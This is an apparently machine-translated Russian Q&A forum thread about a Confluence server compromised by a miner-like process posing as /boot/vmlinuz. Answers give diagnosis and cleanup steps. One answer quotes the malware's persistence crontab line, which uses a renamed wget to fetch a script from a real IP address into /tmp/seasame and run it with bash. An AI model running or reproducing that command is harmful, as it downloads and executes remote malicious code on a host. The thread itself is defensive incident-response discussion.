Процесс vmlinuz работает на 100% CPU - PullRequest
Новая
       21

Процесс vmlinuz работает на 100% CPU

6 голосов
/ 16 апреля 2019

Я использую экземпляр Jira и Confluence (и обратный прокси-сервер nginx) на VPS. В настоящее время я не могу начать слияние по какой-то причине, и я думаю, что это следствие чего-то другого.

Я проверил список процессов:

enter image description here

Пользователь confluence, выполняющий процесс /boot/vmlinuz, и он ест процессор. Если я kill -9, этот процесс начинается снова через несколько секунд.

После перезагрузки VPS:

  1. Слияние и Джира начались автоматически.
  2. Confluence работает правильно несколько секунд, затем что-то убивает процесс. Процесс Jira все еще выполняется.
  3. Процесс /boot/vmlinuz начинается.

Я удалил Confluence из автоматического запуска, но это не имеет значения.

Итак, мои вопросы:

  • Что это за процесс /boot/vmlinuz? Я никогда этого не видел. (Да, я знаю, vmlinuz - это ядро)
  • Почему запускается снова и снова и работает на 100% CPU?
  • Что я должен сделать, чтобы вернуть нормальное поведение, и могу ли я начать Слияние?

Спасибо за ответ

UPDATE

Это вызвано взломом. Если вы найдете файл /tmp/seasame, ваш сервер заражен. Он использует cron для загрузки этого файла. Я удалил файлы в папке /tmp, убил все процессы, отключил cron для пользователя слияния и обновил слияние.

Ответы [ 4 ]

9 голосов
/ 16 апреля 2019

Ваш сервер выглядит взломанным.Пожалуйста, внимательно посмотрите на список процессов.например, запустите ps auxc и посмотрите на двоичные источники процесса.

Вы можете использовать такие инструменты, как rkhunter, для сканирования вашего сервера, но в целом вы должны вначале убить все, что было запущено как пользователь слияния, просканируйте вашсервер / учетная запись, обновите свое слияние (в большинстве случаев определяемый пользователем источник атаки) и найдите в своем слиянии дополнительные учетные записи и т. д.

Если вы хотите узнать, что происходит в этом процессе, посмотрите на/ proc, например, в ls -la /proc/996.Там вы также увидите исходный бинарный файл.Вы также можете пообедать strace -ff -p 996, чтобы увидеть, что делает процесс, или cat /proc/996/exe | strings, чтобы увидеть, какие строки есть в этом двоичном файле.Вероятно, это какая-то часть ботнета, майнер и т. Д.

4 голосов
/ 16 апреля 2019

У меня была такая же проблема, она была взломана, вирусный скрипт находился в / tmp, найдите имя скрипта из команды "top" (незначительные буквы ， имя "fcbk6hj" было моим.) И убили процессы (возможно, 3 процесса )

root 3158 1 0 15:18? 00:00:01 ./fcbk6hj ./jd8CKgl корень 3159 1 0 15:18? 00:00:01 ./fcbk6hj ./5CDocHl корень 3160 1 0 15:18? 00:00:11 ./fcbk6hj ./prot

убейте их всех и удалите / tmp / prot, и убейте процесс / boot / vmlinuz, процессор вернулся.

Я обнаружил, что вирус автоматически загрузил скрипт в / tmp, мой метод был mv wgetak для другого имени.

Вирус ведет себя: wgetak -q http://51.38.133.232:80/86su.jpg -O ./KC5GkAo

нашел следующее задание было написано в crontab, просто удалите его: * / 5 * * * * / usr / bin / wgetak -q -O / tmp / seasame http://51.38.133.232:80 && bash / tmp / seasame

2 голосов
/ 16 апреля 2019

После удаления этого из системы и crontab, возможно, будет хорошей идеей (по крайней мере, на данный момент) добавить пользователя слияния в /etc/cron.deny.

и после: 

$ crontab -e
You (confluence) are not allowed to use this program (crontab)
See crontab(1) for more information
0 голосов
/ 16 апреля 2019

Я тоже встречался с одним и тем же вопросом, может быть, это ошибка слияния.Я просто убиваю процесс слияния, все в порядке.

...